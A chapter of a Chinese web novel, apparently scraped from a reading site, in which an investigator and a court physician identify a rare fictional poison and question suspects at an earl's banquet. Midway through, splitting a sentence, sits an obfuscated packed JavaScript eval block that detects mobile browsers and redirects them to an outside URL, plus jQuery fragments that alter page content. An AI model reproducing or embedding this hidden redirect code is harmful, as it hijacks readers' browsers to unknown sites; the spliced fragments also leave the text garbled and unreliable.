默认冷灰
24号文字
方正启体

8. 第 8 章

作者:启飞本书字数:K更新时间:
    王清淮几乎是朝着沈清晏的方向小跑过来,衣摆都被带起的风掀得翻飞。


    沈清晏正皱着眉琢磨韩岱中毒的时间线,眼角余光瞥见他掌心托着的东西,那团殷红还带着湿意的新鲜内脏晃得她心头一紧。


    她几乎是下意识地侧身,挡在韩岚和王清淮之间,一只手对着他的掌心连连比划,另一只手还不忘往韩岚那边指,同时用嘴型急急提醒:“放回去!赶紧放回去!”


    那嘴型张得极大,一字一顿,生怕王清淮瞧不明白。


    这韩岚虽然还在哭嚎,但是至少神志还算清醒,万一瞧见这东西,又该神志不清了,那不是耽误事儿吗。


    王清淮跑至半路,对上她这副急赤白脸的模样,瞬间反应过来自己失了分寸,忙不迭地将掌心的东西小心交还给韩仵作。


    这才跑到沈清晏身边,刻意压低了声音,“验出来了,是焚心散。”


    “焚心散?”沈清晏眉峰微挑,“什么东西?”


    王清淮认真解释道:“是一种慢性毒药,却又跟寻常慢毒不同。这药不需要长期服用,只要服下一次,便足以毒发致命。


    最关键的是,它服下后要等两个时辰左右才会毒发,毒发时的症状就是心悸、盗汗、呼吸急促,跟心疾发作一模一样,寻常大夫瞧着,十有八九会误诊为心疾引发的猝死,根本查不出是中毒。”


    “嚯~”沈清晏忍不住低低感叹了一声,挑着眉咂舌,“那这玩意儿岂不是成了杀人越货的良药?”


    这话一出,王清淮当即嫌弃地斜瞥了她一眼,那眼神里明晃晃写着“你满脑子都是什么乱七八糟的”,没好气道:“你以为这焚心散是街边的糖糕,随便就能弄到?


    这药价格昂贵到离谱,而且向来是有价无市,别说寻常人家,就是一般的勋贵世家,连见都见不到。据我所知,整个金陵城这么些年来,就从来没有出现过这东西。”


    “没出现过你怎么知道的这么清楚?”沈清晏合理怀疑他吹牛皮。


    她脸上这明晃晃的不信任,简直深深刺痛了王清淮身为太医署太医令的尊严,他攥了攥拳,极力忍住想要抬手敲她脑袋的冲动,深吸一口气压下火气,“先不说医书典籍上有明确记载,就说我少时曾随师父外出游历,走南闯北见过不少稀奇古怪的病症和毒物,这焚心散便是其中之一。


    只是调配这焚心散的关键药引,本就生在极寒之地,难寻的很,而且那药引早在二十年前就已经绝迹了。成药本身就没多少,又没法再调配新药,所以用一点,这世间的焚心散就少一点,哪是那么容易见到的?”


    “原来是物以稀为贵啊。”可是如此一来,沈清晏就更不懂了,韩岱虽说是伯爵府的公子,可品性恶劣,在京中也没什么分量,犯得着用这么珍贵的毒药来杀他?简直是暴殄天物啊。


    她想不通其中关节,只觉得这案子绕来绕去,反倒比之前周雨嫣的死更棘手了,当下便将无关的念头压下,抓着最关键的点问道:“你方才说这药服下后,需要两个时辰左右才会毒发?这个时辰的间隔,你能确定吗?”


    “不会有错!”王清淮非常笃定。


    沈清晏一边暗自掐算着时辰,一边解下挂在蹀躞带上的那个葫芦样式的小酒壶,拔开塞子抿了一口,喃喃道:“那就是来了永嘉伯府以后中的毒了。”


    可这样一来,岂不是更头疼了?韩岱到了伯府之后,大部分时间都用来跟周雨嫣私会、杀人、嫁祸去了。比府上的下人还忙,重点还都避人耳目。


    她将小酒壶重新塞好,挂回蹀躞带,认命地叹了口气,抬眼时正好瞥见依旧被衙役抬在轿撵上的陆燃。这人此刻正靠在轿撵的扶手上,虽脸色依旧苍白,却依旧摆着一副睥睨天下的模样。


    沈清晏看着他,心里的气恼便不打一处来,狠狠瞪了他一眼,心里把人骂了千百遍:都怪这个煞神!要不是他,上面根本不会点名让自己来查这个烂摊子!


    真是倒了八辈子血霉!


    陆燃一直留意着沈清晏这边的动向,此刻感受到她那道带着明显恼怒的目光,他先是微微一怔,脑子里第一个念头便是:难道韩岱的死又能扯到自己身上?不至于这么倒霉吧?


    可要不然,她平白无故瞪自己干什么?


    他心里满是疑惑,可面上却半点都没显露出来,依旧端着那副冷冰冰的模样,甚至还微微抬了抬下巴,装作没瞧见她的眼神。


    沈清晏招来两个捕快从高勤跟赵威手上接过哭得不能自已的韩岚,将他搀到正堂内坐着。


    她则走到孙硕跟前,“孙郎君,方才……”


    她意有所指地顿了顿,目光落在他脸上,看着他的反应,“所以韩岱所说并非空穴来风,你与周雨嫣有私情?”


    孙硕一听此话,一张脸霎时涨得通红,“没有!不是你们想的那样!”


    他激动地辩解,“我与她发乎情止乎礼,绝对绝对没有……”


    许是觉得现如今周雨嫣和韩岱都死了,死无对证。他烦躁地捏了捏拳头,重重叹了口气,“反正就是没有任何逾矩的行为!”


    沈清晏看着他这副激动的模样,没说信,也没说不信,只是淡淡开口,转而问了另一个问题:“方才在客房外,陆燃说他今日来赴宴,是被人临时拉来的。


    我放眼整个宴席,能有这个脸面,把素来不喜参加宴席的他拉来的,估摸着也就你一个了吧。


    可若是普通的赏春宴,你为何非要将一个重伤未愈的人拉过来?别跟我说你是想拉他出来散心,若是真心想散心,便不会拉着他来跟一帮老头子凑堆,受这份拘束。”


    她的话刚说完,孙硕还没来得及开口回答,站在一旁的高勤和赵威便不约而同地咳嗽了一声,那咳嗽声不大,却格外刻意,两人还纷纷别过脸,装作看天看地的模样,就是不看沈清晏。


    就连站在孙硕身边的孙啸,也没忍住清了清嗓子,仰着脸看天,嘴角还微微抽了抽。


    沈清晏见状,瞬间反应过来自己说错了话。她连忙讪笑着冲他们作了个揖,“失言失言,大人们莫怪。”


    他们自是不会真的跟她计较。


    倒是孙硕被他们几人的反应闹得心情放松了不少,心里的窘迫也散了些,忍不住腹诽:本来就是老头子,还不让人说了?自己本就跟周雨嫣清清白白,还怕人问吗?


    思及此,他定了定神,脸上的窘迫褪去,取而代之的是坦荡,“我拉陆燃过来,确实是有私心的,一来是想让他帮我掌掌眼,看看周二娘子的品性样貌。


    毕竟我对她有意,想要求娶她,陆燃是我最好的兄弟,他的眼光,我信得过。


    二来,我也承认,我是存了在他面前炫耀的心思。”


    他说着,脸上露出几分自嘲的笑,叹了口气,“我跟他一起长大,从小到大都被他压一头,如今我先一步有了心仪的女子,爹娘也同意帮我求亲,想着能在他面前扬眉吐气一次,没曾想……


    没曾想会出这么大的事,非但没炫耀成,反倒差点连累了他,受尽旁人的指指点点。”


    他的语气里满是愧疚,看向陆燃的方向,眼神里带着歉意。


    “本来此次前来,若无意外,我娘今日就会找机会跟周夫人提及我求娶周二娘子的事。我爹也跟周大人提了此事,周大人也有意促成这门亲事。


    只是因为此次宴席是男女分席,后来又出了这些事,我也不知道我娘到底跟周夫人提了没有。”


    “而我,因为是我求着爹娘过来给我说亲事的,心里紧张,也怕出什么差错,所以自始至终都守在前院,说白了,就是一直在周大人眼前转悠。”


    沈清晏歪头看向站在一旁的周宏,自从王清淮宣布韩岱已死之后,这位永嘉伯就一直面若死灰,站在那里神游太虚,任凭旁人如何吵闹,都半点反应没有。


    沈清晏心里忍不住叹息,也是,这好好的一场赏春宴,本是想借着宴席攀攀关系,结果倒好,接连出了两条人命,宴席变成了凶案现场。


    期间还被韩岱当众做实了他伯府门风不正,嫡母苛待庶女,庶女周雨嫣生性放荡,广撒网攀附权贵,不仅跟韩岱私会,还对陆燃和孙硕都有心思。


    先是因为周雨嫣的死得罪了文信伯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281476|198365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    韩家,现如今又因为韩岱的话,把有意求娶周雨嫣的晋阳侯孙家也得罪了个彻底。


    而且今日来赴宴的,还有不少言官,这些人最是爱揪着这些事不放,不用想都知道,他们都已经打好了腹稿,如何参他治家不严、府中风气败坏。


    估摸着现如今,周宏宁可方才猝死倒地的是自己,而不是韩岱。


    沈清晏缓步走到周宏跟前,抬手拍了拍他的肩膀,语重心长道:“周大人,事已至此,您还是想开点吧,先配合我将眼前的案子查清楚。否则这件事恐怕……”


    周宏也不是第一天当这个永嘉伯,朝堂上的门道,人心的复杂,自然是比沈清晏还要清楚。沈清晏的话如同醍醐灌顶,让他打了个寒颤,瞬间回过神来。


    他定了定神,对着沈清晏拱了拱手,只是语气带着几分疲惫,“沈大人说的是,是我糊涂了。您想问什么便问吧,只要是我知道的,定知无不言,言无不尽,全力配合大人查案。”


    沈清晏:“今日自从孙硕到府,直至周二娘子的尸体被发现,您可一直都有注意到他?”


    周宏闻言,回想了一下今日的情形,当即点头,“有!事已至此,我也就不避讳了。


    晋阳侯性子直爽,今日带着孙公子到府之后,没跟我说几句客套话,就直接暗示我,想与我伯府结为亲家。


    能高攀上孙家,我自是求之不得,心里高兴得很,所以我总是忍不住会瞟上孙硕几眼。”


    所以我很确定,孙硕未曾离开过我的视线范围。”


    沈清晏安静地听完周宏的话,心底暗自思忖。


    周宏身为永嘉伯府的主家,赏春宴上宾客满座,他需周旋于男宾之间招待寒暄,那么他能看到孙硕,说明很多人都能看到孙硕。


    这般说来,孙硕的行踪属实,他确实没有时间下手给韩岱投毒,嫌疑自然可以排除。


    但是孙硕这边如果没有问题,那么难道真的是如韩岚所说,是周家知道了韩岚与周雨嫣有私,如今想要攀上侯府高枝,所以除掉韩岱?


    可是又有些说不通啊,按照一般来说,即便是没有发生周雨嫣一案,韩岱毒发的那个时辰,宴会也应该还没散,那么韩岱还是会死在周家。


    但凡有点脑子,也该等韩岱离府前再动手,哪怕让他死在半路上,也比死在自家府里干净。


    可若不是周家下手,那么谁又会提前就知道韩岱刚来不久就会跑去跟周雨嫣私会,然后精准地给韩岱下毒?


    沈清晏一手抱怀,一手撑着下巴,越琢磨越觉得这事儿真的很不合常理。


    她抬眼看向周宏,话锋陡然一转:“周大人,韩岱说尊夫人苛待庶女,此话可当真?或是说,府中内宅的这些事,您当真半点不知?”


    她这话并非刻意给周宏台阶,大周的规矩本就如此,妾室和庶出的子女本就地位低微,也就庶长子稍有不同。况且内宅的事向来是主母说了算,家主一般很少过问,只要没闹到明面上来,周宏不知道也实属正常。


    但是她还是忍不住再次提醒周宏,“周大人,事已至此,切不可有半分隐瞒。”


    周宏一听这话,脸上当即堆满冤枉,“沈大人,这怎算得上苛待?


    雨嫣是庶女,若非高门望族主动上门说亲,否则我们怎敢跑去人家面前,舔着脸让一个庶女去给人当正妻主母?


    可是我伯府虽不比从前,那也万万不至于腆着脸,主动送一个庶女去高门做妾的地步,那岂不是平白惹人笑话?


    她的亲事,夫人向来都跟我商量着来。虽说没给她相看勋贵人家,可也早有打算,寻个清白寒门,让她做正头娘子,安安稳稳过日子。”


    他说着,又气又无奈地拍着大腿,嗓门也跟着高了些:“怎么到了韩岱那小子嘴里,就成了苛待?不过是没顺着那丫头的心思,由着她去攀高枝罢了,这算哪门子的苛待!”


    话音落,他又重重地叹息出声。


    沈清晏还在琢磨他话中真假,远远跑来一名捕快,附在她耳边低声道:“有个丫鬟声称韩岱是被误杀,原是周家主母想要杀害周雨嫣。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)